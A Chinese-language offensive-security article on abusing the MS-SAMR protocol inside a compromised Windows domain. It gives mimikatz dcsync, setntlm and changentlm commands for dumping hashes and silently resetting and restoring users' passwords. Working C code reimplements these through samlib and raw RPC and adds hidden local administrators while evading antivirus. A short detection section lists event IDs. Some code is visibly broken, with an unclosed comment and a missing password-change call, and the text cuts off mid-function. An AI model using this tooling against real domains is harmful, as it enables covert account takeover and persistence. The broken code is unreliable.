内网中关于MS-SAMR协议的利用

利用

考虑以下几个场景:

  1. 我们拿下域控后,经常要搜集目标架构内用户的各种信息来寻找靶标,比如登录邮箱服务器、OA、NAS等可能使用域身份认证的系统
  2. 我们收集的攻击路径中的其中一环是利用某账户重置/修改目标账户密码
  3. 我们拿到某用户hash后,同样想通过该用户账户登录某系统,但目标系统不支持pth

我们虽然拿到了修改/重置密码的权限,但我们又不想直接修改目标用户的密码,因为这样用户在登录时就会发现自己的密码被修改,此时有两种情况:

  1. 如果我们有重置密码权限就可以使用SetNTLM来将用户密码重置
  2. 如果有hash的话可以使用ChangeNTLM修改,登录目标系统后,再将目标密码还原

SetNTLM

当前身份对要修改的用户有Reset Password权限

假设我们此时拿到域控,想修改域内用户mars3的密码来登录某系统,先Dcsync看一下用户当前的hash:

代码语言:javascript
复制
lsadump::dcsync /domain:Drunkmars.com /all /csv

由于我们是域管了,基本上对目标用户都是有重置密码权限的,然后利用以下命令重置密码:

代码语言:javascript
复制
lsadump::setntlm /server:192.168.10.5 /user:mars3 /password:test123

登录目标系统以后,再通过以下命令还原密码,这里注意修改和还原密码的操作都需要在DC上完成操作,否则权限不够

代码语言:javascript
复制
lsadump::setntlm /server:192.168.10.5 /user:mars3 /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8

SamrSetInformationUser

SetNTLM是通过SamrSetInformationUser来重置用户密码

ChangeNTLM

需要对目标用户有Change Password权限,但该权限一般是Everyone拥有的,所以基本上拿到目标用户的hash/密码后都可以进行密码更改

该方法受到域内密码策略的限制,比如域内默认的密码最短使用期限为1天,因此用户每天只能修改一次自己的密码

而且如果域内存在强制密码历史规则时,该方法在恢复原密码时便不能成功,但如果没有“密码最短使用期限”的限制的话,我们多修改几次密码直到原密码在历史中清除,然后再修改为原密码即可

代码语言:javascript
复制
lsadump::changentlm /server:192.168.10.5 /user:mars3 /old:ea7937eec9ab52e6cc9528a2011ca1d8 /newpassword:test123
代码语言:javascript
复制
lsadump::changentlm /server:192.168.10.5 /user:mars3 /oldpassword:test123 /new:ea7937eec9ab52e6cc9528a2011ca1d8

SamrChangePasswordUser

调用SamrChangePasswordUser这一API来修改用户密码

看一下源码实现,虽然原理本质是通过调用RPC,但mimikatz并不是直接调用RPC来修改,而是使用了一组以Sam开头的API

mimikatz\modules\kuhl_m_lsadump.c

这些函数都在samlib.dll里面进行导出

最终调用SamiChangePasswordUser来修改用户的密码

查看SamiChangePasswordUser函数调用树,可以看到调用了NdrClientCall3,这明显是进行RPC调用的标志

RPC(Remote Procedure Call Protocol)——远程过程调用协议,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。

从流量中也可以看出调用的是MS-SAMR协议

实现

实现主要有两种思路,一种是跟mimikatz一样直接调用samlib.dll的导出函数,第二种是直接调用SAMR协议的API

两种方法原理一样,但前者的调用要更加简单,因为samlib里的导出函数对应了SAMR的API,其实相当于SAMR的上层实现,比如SamiChangePasswordUser对应SamrChangePasswordUser,并且参数更加简化

整个过程调用的API作用如下:

  • SamrConnect5: 获取Server对象的句柄
  • SamrEnumerateDomainsInSamServer: 枚举Server上的域名
  • SamrLookupDomainInSamServer: 获取域名对应域的SID
  • SamrOpenDomain: 获取Domain对象的句柄
  • SamrLookupNamesInDomain: 获取指定用户的RID
  • SamrOpenUser: 获取User对象的句柄
  • SamrChangePasswordUser: 修改用户对象的密码

调用samlib的导出函数

mimikatz已经进行实现,ChangeNTLM的源码如下

代码语言:javascript
复制
#include <stdio.h>
#include "l_lib.h"

#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "ntdll.lib")

BOOL StringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size)
{
DWORD i, j;
BOOL result = (wcslen(string) == (size * 2));
if (result)
{
for (i = 0; i < size; i++)
{
swscanf_s(&string[i * 2], L"%02x", &j);
hex[i] = (BYTE)j;
}
}
return result;
}

DECLARE_CONST_UNICODE_STRING(uBuiltin, L"Builtin");
NTSTATUS ChangeNTLM(PLSA_UNICODE_STRING uServerName, PLSA_UNICODE_STRING uUserName, DWORD rid, PVOID pvArg)
{
DWORD dwUserAccess = USER_CHANGE_PASSWORD;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountRetourned, * pRid, * pUse;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer;
PSID domainSid;
SAMPR_HANDLE hServerHandle, hDomainHandle, hUserHandle;
PK_CHANGENTLM_DATA data = (PK_CHANGENTLM_DATA)pvArg;

SamConnect(uServerName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);

do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountRetourned);
for (i = 0; i < domainCountRetourned; i++)
{
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
continue;

SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &domainSid);
SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, domainSid, &hDomainHandle);

if (uUserName)
{
pRid = NULL;
pUse = NULL;
SamLookupNamesInDomain(hDomainHandle, 1, uUserName, &pRid, &pUse);

rid = pRid[0];
if (pRid)
 SamFreeMemory(pRid);
if (pUse)
 SamFreeMemory(pUse); 

}

if (rid)
{
SamOpenUser(hDomainHandle, dwUserAccess, rid, &hUserHandle);

NTSTATUS status = SamiChangePasswordUser(hUserHandle, data-&gt;isOldLM, data-&gt;oldLM, data-&gt;newLM, data-&gt;isNewNTLM, data-&gt;oldNTLM, data-&gt;newNTLM);

if (NT_SUCCESS(status))
 wprintf(L&#34;[*] Change password success!\n&#34;);
else if (status == STATUS_WRONG_PASSWORD)
 wprintf(L&#34;[x] Failed!\n&#34;);
else if (status == STATUS_PASSWORD_RESTRICTION)
 wprintf(L&#34;[x] Failed! (restriction)\n&#34;);
else wprintf(L&#34;[x] SamiChangePasswordUser: %08x\n&#34;, status);

SamCloseHandle(hUserHandle);

}

SamCloseHandle(hDomainHandle);

SamFreeMemory(domainSid);
}
SamFreeMemory(pEnumDomainBuffer);
} while (enumDomainStatus == STATUS_MORE_ENTRIES);
SamCloseHandle(hServerHandle);

return status;
}

int main()
{
LSA_UNICODE_STRING serverName;
LSA_UNICODE_STRING userName;
K_CHANGENTLM_DATA infos = { FALSE, {0}, {0}, TRUE, {0}, {0} };

PCWCHAR szServer = L"TESTDC1.TESTAD.LOCAL";
PCWCHAR szUser = L"test2";
DWORD rid = 2106;
RtlInitUnicodeString(&userName, szUser);
RtlInitUnicodeString(&serverName, szServer);

PCWCHAR oldNTLM = L"41683c8a2fe586904aa8775e225da91e";
PCWCHAR newNTLM = L"3e7ca8f1a60ed117c282c751c8c0ab4d";
StringToHex(oldNTLM, infos.oldNTLM, sizeof(infos.oldNTLM));
StringToHex(newNTLM, infos.newNTLM, sizeof(infos.newNTLM));

ChangeNTLM(&serverName, &userName, rid, &infos);

return 0;
}

SetNTLM的源码如下

代码语言:javascript
复制
#include <stdio.h>
#include "l_lib.h"

#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "ntdll.lib")

BOOL StringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size)
{
DWORD i, j;
BOOL result = (wcslen(string) == (size * 2));
if (result)
{
for (i = 0; i < size; i++)
{
swscanf_s(&string[i * 2], L"%02x", &j);
hex[i] = (BYTE)j;
}
}
return result;
}

DECLARE_CONST_UNICODE_STRING(uBuiltin, L"Builtin");
NTSTATUS ChangeNTLM(PLSA_UNICODE_STRING uServerName, PLSA_UNICODE_STRING uUserName, DWORD rid, PVOID pvArg)
{
DWORD dwUserAccess = USER_FORCE_PASSWORD_CHANGE;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountRetourned, * pRid, * pUse;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer;
PSID domainSid;
SAMPR_HANDLE hServerHandle, hDomainHandle, hUserHandle;

SamConnect(uServerName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);

do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountRetourned);
for (i = 0; i < domainCountRetourned; i++)
{
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
continue;

SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &domainSid);
SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, domainSid, &hDomainHandle);

if (uUserName)
{
pRid = NULL;
pUse = NULL;
SamLookupNamesInDomain(hDomainHandle, 1, uUserName, &pRid, &pUse);

rid = pRid[0];
if (pRid)
 SamFreeMemory(pRid);
if (pUse)
 SamFreeMemory(pUse);

}

if (rid)
{
SamOpenUser(hDomainHandle, dwUserAccess, rid, &hUserHandle);

NTSTATUS status = SamSetInformationUser(hUserHandle, UserInternal1Information, (PSAMPR_USER_INFO_BUFFER)pvArg);
if (NT_SUCCESS(status))
 wprintf(L&#34;\n[*] SetNTLM success!\n&#34;);
else
 wprintf(L&#34;[!] SamSetInformationUser: %08x\n&#34;, status);

SamCloseHandle(hUserHandle);

}

SamCloseHandle(hDomainHandle);

SamFreeMemory(domainSid);
}
SamFreeMemory(pEnumDomainBuffer);
} while (enumDomainStatus == STATUS_MORE_ENTRIES);
SamCloseHandle(hServerHandle);

return status;
}

int main()
{
LSA_UNICODE_STRING serverName;
LSA_UNICODE_STRING userName;
SAMPR_USER_INFO_BUFFER infos = { {{0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}, {0x7c, 0x1c, 0x15, 0xe8, 0x74, 0x11, 0xfb, 0xa2, 0x1d, 0x91, 0xa0, 0x81, 0xd4, 0xb3, 0x78, 0x61}, TRUE, FALSE, FALSE, FALSE,} };

PCWCHAR szServer = L"TESTDC1.TESTAD.LOCAL";
PCWCHAR szUser = L"test2";
DWORD rid = 2106;
RtlInitUnicodeString(&userName, szUser);
RtlInitUnicodeString(&serverName, szServer);

PCWCHAR newNTLM = L"ab29f733bf5e082d38cdca74f4c1c467";
StringToHex(newNTLM, infos.Internal1.NTHash, sizeof(infos.Internal1.NTHash));

ChangeNTLM(&serverName, &userName, rid, &infos);

return 0;
}

直接调用MS-SAMR

微软官方已经把MS-SAMR的IDL给我们了:[MS-SAMR] – Appendix A: Full IDL(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e),直接拿下来使用midl生成.h和.c文件即可(使用时还需要稍作修改):

SamrChangePasswordUser结构如下

代码语言:javascript
复制
 long SamrChangePasswordUser(
[in] SAMPR_HANDLE UserHandle,
[in] unsigned char LmPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD OldLmEncryptedWithNewLm,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithOldLm,
[in] unsigned char NtPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt,
[in] unsigned char NtCrossEncryptionPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithNewLm,
[in] unsigned char LmCrossEncryptionPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithNewNt
);

注意这里有一个坑点,如果对SamrChangePasswordUser只指定第5、6、7个参数的话,会产生STATUS_LM_CROSS_ENCRYPTION_REQUIRED错误

因此必须再指定LMCrossNewLmEncryptedWithNewNt这两个参数,而后者是用新密码的NTLM Hash加密新密码的LM Hash得到的,这里我一开始很疑惑:从mimikatz的功能来看,并不需要我们传递新密码LM Hash,那么它这个加密操作是怎么完成的呢?

由于LM Hash早已在高版本Windows中弃用,于是我猜测这个LM Hash可能跟新密码并没有关系(比如有些工具需要使用LMHASH:NTHASH的格式来指定hash,但LM Hash的值是多少并没有关系),于是我直接使用新密码的NTLM Hash来加密空密码对应的LM Hash:

代码语言:javascript
复制
...
unsigned char newLM[16];
PCWCHAR newLMHash = "AAD3B435B51404EEAAD3B435B51404EE";
StringToHex(newLMHash, newLM, sizeof(newLM));
status = RtlEncryptLmOwfPwdWithLmOwfPwd(newLM, newNT, &NewLMEncryptedWithNewNT);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] Calc NewLMEncryptedWithNewNT Error: %08X\n", status);
exit(1);
}
...

完整代码如下

代码语言:javascript
复制
#include <stdio.h>
#include <ntstatus.h>
#include "ms-samr.h"

#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "ntdll.lib")

#define RtlEncryptLmOwfPwdWithLmOwfPwd SystemFunction012
NTSTATUS WINAPI RtlEncryptLmOwfPwdWithLmOwfPwd(IN LPCBYTE DataLmOwfPassword, IN LPCBYTE KeyLmOwfPassword, OUT LPBYTE EncryptedLmOwfPassword);

#if !defined(NT_SUCCESS)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif

#define SAM_SERVER_CONNECT 0x00000001
#define SAM_SERVER_ENUMERATE_DOMAINS 0x00000010
#define SAM_SERVER_LOOKUP_DOMAIN 0x00000020
#define DOMAIN_LOOKUP 0x00000200

#define USER_CHANGE_PASSWORD 0x00000040

#define STATUS_WRONG_PASSWORD 0xC000006A
#define STATUS_PASSWORD_RESTRICTION 0xC000006C
#define STATUS_MORE_ENTRIES 0x00000105L

BOOL StringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size)
{
DWORD i, j;
BOOL result = (wcslen(string) == (size * 2));
if (result)
{
for (i = 0; i < size; i++)
{
swscanf_s(&string[i * 2], L"%02x", &j);
hex[i] = (BYTE)j;
}
}
return result;
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}

handle_t __RPC_USER
PSAMPR_SERVER_NAME_bind(PSAMPR_SERVER_NAME pszSystemName)
{
handle_t hBinding = NULL;
LPWSTR pszStringBinding;
RPC_STATUS status;

wprintf("PSAMPR_SERVER_NAME_bind() called\n");

status = RpcStringBindingComposeW(NULL,
L"ncacn_np",
pszSystemName,
L"\pipe\samr",
NULL,
&pszStringBinding);
if (status)
{
wprintf("RpcStringBindingCompose returned 0x%x\n", status);
return NULL;
}

/* Set the binding handle that will be used to bind to the server. */
status = RpcBindingFromStringBindingW(pszStringBinding,
&hBinding);
if (status)
{
wprintf("RpcBindingFromStringBinding returned 0x%x\n", status);
}

status = RpcStringFreeW(&pszStringBinding);
if (status)
{
// wprintf("RpcStringFree returned 0x%x\n", status);
}

return hBinding;
}

void __RPC_USER
PSAMPR_SERVER_NAME_unbind(PSAMPR_SERVER_NAME pszSystemName,
handle_t hBinding)
{
RPC_STATUS status;

wprintf("PSAMPR_SERVER_NAME_unbind() called\n");

status = RpcBindingFree(&hBinding);
if (status)
{
wprintf("RpcBindingFree returned 0x%x\n", status);
}
}

NTSTATUS ChangeNTLM(PSAMPR_SERVER_NAME uServerName, RPC_UNICODE_STRING* uUserName, unsigned char* oldNT, unsigned char* newNT)
{
int i;
NTSTATUS status = STATUS_DATA_ERROR;

SAMPR_HANDLE hServer, hDomain, hUser;
PRPC_SID domainSID = 0;
long enumDomainStatus, changePassStatus;
unsigned long RID = 0;
unsigned long outVersion;
unsigned long domainEnumerationContext = 0;
unsigned long domainCountReturned;
PSAMPR_ENUMERATION_BUFFER pEnumDomainBuffer = NULL;
SAMPR_ULONG_ARRAY ridBuffer = { 0, NULL };
SAMPR_ULONG_ARRAY useBuffer = { 0, NULL };

SAMPR_REVISION_INFO inRevisionInfo, outRevisionInfo;
inRevisionInfo.V1.Revision = 3;
inRevisionInfo.V1.SupportedFeatures = 0;

ENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt;
ENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt;
ENCRYPTED_LM_OWF_PASSWORD NewLMEncryptedWithNewNT;

// init a Samr connect handle
status = SamrConnect5(uServerName, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, 1, &inRevisionInfo, &outVersion, &outRevisionInfo, &hServer);
if (!NT_SUCCESS(status) && hServer != NULL)
{
wprintf(L"[!] SamrConnect Error: %08X\n", status);
exit(1);
}
else
wprintf(L"[*] SamrConnect to Server.\n");

do
{
// get domain name buffer
enumDomainStatus = SamrEnumerateDomainsInSamServer(hServer, &domainEnumerationContext, &pEnumDomainBuffer, 100, &domainCountReturned);
if (!NT_SUCCESS(enumDomainStatus) && enumDomainStatus != STATUS_MORE_ENTRIES)
{
wprintf(L"[!] SamrEnumerateDomainsInSamServer Error: %08X\n", status);
exit(1);
}
else
wprintf(L"[*] SamrEnumerateDomainsInSamServer success, Domain count: %ld\n", domainCountReturned);

const wchar_t* sBuiltin = L"Builtin";
for (i = 0; i < domainCountReturned; i++)
{
if (wcscmp(sBuiltin, pEnumDomainBuffer->Buffer[i].Name.Buffer) == 0)
continue;

// get domain SID
status = SamrLookupDomainInSamServer(hServer, &pEnumDomainBuffer->Buffer[i].Name, &domainSID);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] SamrLookupDomainInSamServer Error: %08X\n", status);
exit(1);
}

else
wprintf(L"[*] SamrLookupDomainInSamServer success.\n");

// get domain handle
status = SamrOpenDomain(hServer, DOMAIN_LOOKUP, domainSID, &hDomain);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] SamrOpenDomain Error: %08X\n", status);
exit(1);
}
else
wprintf(L"[*] SamrOpenDomain success.\n");

// get user's RID
status = SamrLookupNamesInDomain(hDomain, 1, &uUserName[0], &ridBuffer, &useBuffer);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] SamrLookupNamesInDomain Error: %08X\n", status);
exit(1);
}
else
{
RID = ridBuffer.Element[0];
wprintf(L"[*] SamrLookupNamesInDomain success. User RID: %d\n", RID);
}

// get user handle
status = SamrOpenUser(hDomain, USER_CHANGE_PASSWORD, RID, &hUser);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] SamrOpenUser Error: %08X\n", status);
exit(1);
}
else
{
wprintf(L"[*] SamrOpenUser success.\n");
}

// https://doxygen.reactos.org/d2/de6/samlib_8c_source.html
// Notice: we use emtpy-password's LM hash as new LM to be encrypted by new NT
unsigned char newLM[16];
PCWCHAR newLMHash = "AAD3B435B51404EEAAD3B435B51404EE";
StringToHex(newLMHash, newLM, sizeof(newLM));
status = RtlEncryptLmOwfPwdWithLmOwfPwd(newLM, newNT, &NewLMEncryptedWithNewNT);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] Calc NewLMEncryptedWithNewNT Error: %08X\n", status);
exit(1);
}

// Encrypt the old NT hash with the new NT hash
status = RtlEncryptLmOwfPwdWithLmOwfPwd(oldNT, newNT, &OldNtEncryptedWithNewNt);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] Calc OldNtEncryptedWithNewNt Error: %08X\n", status);
exit(1);
}

// Encrypt the new NT hash with the old NT hash
status = RtlEncryptLmOwfPwdWithLmOwfPwd(newNT, oldNT, &NewNtEncryptedWithOldNt);
if (!NT_SUCCESS(status))
{
wprintf(L"[!] Calc NewNtEncryptedWithOldNt Error: %08X\n", status);
exit(1);
}

/*

if (NT_SUCCESS(status))
{
wprintf(L"[*] Change password success! :)\n");
}
else if (status == STATUS_WRONG_PASSWORD)
{
wprintf(L"[!] Wrong Password!\n");
}
else if (status == STATUS_PASSWORD_RESTRICTION)
{
wprintf(L"[!] Restriction!\n");
}
else
{
wprintf(L"[!] Error Code: %08X\n", status);
}

}
} while (enumDomainStatus == STATUS_MORE_ENTRIES);

}

int main()
{
/*

  • Information you must change:
    1. Your Domain's Netbios
    1. Username to change password
    1. Old NTLM Hash
    1. New NTLM Hash
      */
      PSAMPR_SERVER_NAME serverName = L"TESTDC1";
      wchar_t username[] = L"test2";
      unsigned char oldNT[16];
      unsigned char newNT[16];

PCWCHAR oldNTLM = L"94b0b46dfce6a8f3543c600cd2b6fd84";
PCWCHAR newNTLM = L"94b0b46dfce6a8f3543c600cd2b6fd85";
StringToHex(oldNTLM, oldNT, sizeof(oldNT));
StringToHex(newNTLM, newNT, sizeof(newNT));

unsigned short usernameLen = sizeof(username) - 2;
RPC_UNICODE_STRING userName[] = { usernameLen, 30, username };

ChangeNTLM(serverName, &userName, oldNT, newNT);

return 0;
}

实现效果如下

检测

SetNTLM

SetNTLM会产生4724、4661、4738这三条日志

同样在SamrOpenUser这个操作中(操作数为34),Samr User Access Set Password标志位被设置为1,也可以看到用户对应的RID

调用SamrSetUserInformation(操作数为37)

ChangeNTLM

ChangeNTLM会产生4723、4738两条日志,并且日志中的使用者和目标账户并不是同一个账户

SamrOpenUser这个操作中(操作数为34),Samr User Access Change Password标志位被设置为1,在该步操作中还可以看到用户对应的RID

以及调用SamrChangePasswordUser(操作数为38)

使用MS-SAMR进行信息收集/修改

我们知道,一般我们想要进行添加用户等操作时,基本运行的是:

代码语言:javascript
复制
net user username password /add
net localgroup administrators username /add

其实一般杀软只会检测前面添加用户的命令,而后面的命令并不会触发杀软的报警行为,其实在这里net是在C:\Windows\System32下的一个可执行程序,并且该目录下还有net1.exe,这两个程序的功能是一模一样的

不论我们是使用net或者是net1都会被杀软检测,为了验证杀软是不是在底层hook了API,我们来监测系统使用user add时具体对应的API

实际上当我们使用net user username password /add时net程序会去调用net1.exe程序,然后使用相同的命令

当尝试跟进net1.exe来跟踪相关操作时发现应该是使用RPC,并且endpoint是\PIPE\lsarpc来进行其他的操作

实际上是通过MS-SAMR协议通过RPC实现的,MS-SAMR的官方IDL文档:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e,可以看到其中SamrSetInformationDomain等方法都是其接口方法

NetUserAdd

调用NetUserAdd添加本地用户,调用NetLocalGroupAddMembers将用户添加到组,NetUserAdd的结构如下

代码语言:javascript
复制
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
[in] LPCWSTR servername,
[in] DWORD level,
[in] LPBYTE buf,
[out] LPDWORD parm_err
)

微软文档解释了这个如何通过这个函数来添加操作系统账户,第一个参数servername指定了需要添加用户的主机名,传入NULL则为本地添加,第二个参数决定了第三个参数传入的结构体,通过这个函数我们可以在windows操作系统上添加账户。

当等级为1时指向一个结构体

代码语言:javascript
复制
typedef struct _USER_INFO_1 {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;

同理将该账户加入administrators组也是使用类似的函数

代码语言:javascript
复制
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);

实现代码如下

代码语言:javascript
复制
// NetUserAdd.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")

/*
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
[in] LPCWSTR servername,
[in] DWORD level,
[in] LPBYTE buf,
[out] LPDWORD parm_err
)

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);
*/

int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if (argc != 3)
{
    printf(&#34;Usage: NetUserAdd.exe &lt;username&gt; &lt;password&gt;\n&#34;);
    exit(1);
}

ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;

if (NERR_Success == NetUserAdd(NULL, dwLevel, (LPBYTE)&amp;ui, &amp;dwError))
{
    printf(&#34;User add successfully!\n&#34;);
}
else
{
    printf(&#34;User add failed , error is : %d&#34;, GetLastError());
    exit(1);
}

LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];
NET_API_STATUS Status;

Status = NetLocalGroupAddMembers(NULL, L&#34;Administrators&#34;, 3, (LPBYTE)&amp;account, 1);

if (NERR_Success == Status || ERROR_MEMBER_IN_ALIAS == Status)
{
    printf(&#34;User add administrator_group successfully!\n&#34;);
}
else
{
    printf(&#34;User add administrator_group failed , error is : %d&#34;, GetLastError());
    exit(1);
}

}

使用管理员权限添加成功,但是这里会被杀软拦截

对NetAddUser的底层封装调用

在Win10中的netapi32.dll已经找不到相关添加用户的函数,只有一个NetUserAdd的导出函数,我们尝试逆向XP中的netapi32.dll

Security Account Manager (SAM) 是运行 Windows 操作系统的计算机上的数据库,该数据库存储本地计算机上用户的用户帐户和安全描述符。

这里对UserAdd的实现也是首先尝试连接SAM数据库,判断SAM中是否已经存在该用户,然后利用RtlInitUnicodeString对新建用户信息等做一个初始化操作,最后调用SamCreateUser2InDomain来创建用户账户,创建成功会继续调用UserpSetInfo设置用户密码,因此实际上NetUserAdd就是被这样几个关键函数进行封装,因此我们需要做的是哪些函数能够直接调用,而哪些函数是还需要自己进一步封装

其中UaspOpenSam没有导出,而实际上对应的是SamConnect

UaspOpenDomain同样没有导出,实际上对应的也是Sam系的函数

这里SamOpenDomain的函数原型大致如下

代码语言:javascript
复制
SamOpenDomain(ServerHandle, DesiredAccess, DomainSid, &DomainHandle)

因此我们是需要DomainSid的,也就是说我们还需要获取账户所在域的SID信息,经过搜索发现可以使用Sam函数获取的,而在ReactOS和mimikatz中就是使用的 LSA 函数进行查询的

MSDN中查询LsaQueryInformationPolicy

代码语言:javascript
复制
NTSTATUS LsaQueryInformationPolicy(
[in] LSA_HANDLE PolicyHandle,
[in] POLICY_INFORMATION_CLASS InformationClass,
[out] PVOID *Buffer
);
// in Advapi32.dll

继续跟进,发现UserpSetInfo同样没有导出函数,继续跟进这个函数

而在React OS的SetUserInfo函数中同样找到该方法的调用

这里的UserAllInfo对应的就是USER_INFO结构体,而通常情况下我们都是使用USER_INFO_1,并且将值设置为1

代码实现

实现的大体流程如下

1.调用SamConnect连接SAM数据库
2.通过LsaQueryInformationPolicy获取SID信息后调用SamOpenDomain
3.验证完成后调用SamCreateUser2InDomain创建用户信息
4.最后通过SamSetInformationUser来设置新建用户的密码

需要注意的有两点,一点是Windows操作系统(域控除外)中的“域”分为内置域(Builtin Domain)账户域(Account Domain)

  • 内置域(Builtin Domain):包含在安装操作系统时建立的默认本地组,例如管理员组和用户组
  • 账户域(Account Domain):包含用户、组和本地组帐户。管理员帐户在此域中。在工作站或成员服务器的帐户域中定义的帐户仅限于访问位于该帐户所在物理计算机上的资源

因此我们需要在账户域中添加普通用户,然后在内置域中找到Administrators组,再将该用户添加到内置域中的Administrators中

第二个需要注意的是,利用SamrCreateUser2InDomain()添加的账户默认是禁用状态,因此我们需要调用SamrSetInformationUser()在用户的userAccountControl中清除禁用标志位:

代码语言:javascript
复制
// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);

// Set password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);

在实现时,如果直接调用MS-SAMR的话在设置用户密码时会非常复杂,涉及到加密算法并且可能需要SMB Session Key(用impacket很好实现,但impacket不支持当前用户身份执行)

域内版本,使用的是MS-SAMR协议

代码语言:javascript
复制
#include <stdio.h>
#include <Windows.h>
#include "samlib.h"

#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "ntdll.lib")

void AddUser(wchar_t* uName, wchar_t* uPass)
{
DWORD* pRid;
DWORD* pUse;
DWORD USE = 0;
ULONG grantAccess;
ULONG relativeId;
DWORD* adminRID;
PSID userSID = NULL;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountReturned;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;
PSID builtinDomainSid = 0, accountDomainSid = 0;
SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;

SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };
NTSTATUS enumGroupStatus;
DWORD groupEnumerationContext = 0;
DWORD groupCountReturned;
UNICODE_STRING adminGroup;

SAMPR_HANDLE hAdminGroup;

UNICODE_STRING userName;
UNICODE_STRING password;
UNICODE_STRING uBuiltin;
UNICODE_STRING serverName;

// init server, username, password
RtlInitUnicodeString(&uBuiltin, L"Builtin");
RtlInitUnicodeString(&userName, uName);
RtlInitUnicodeString(&password, uPass);
RtlInitUnicodeString(&serverName, L"localhost");

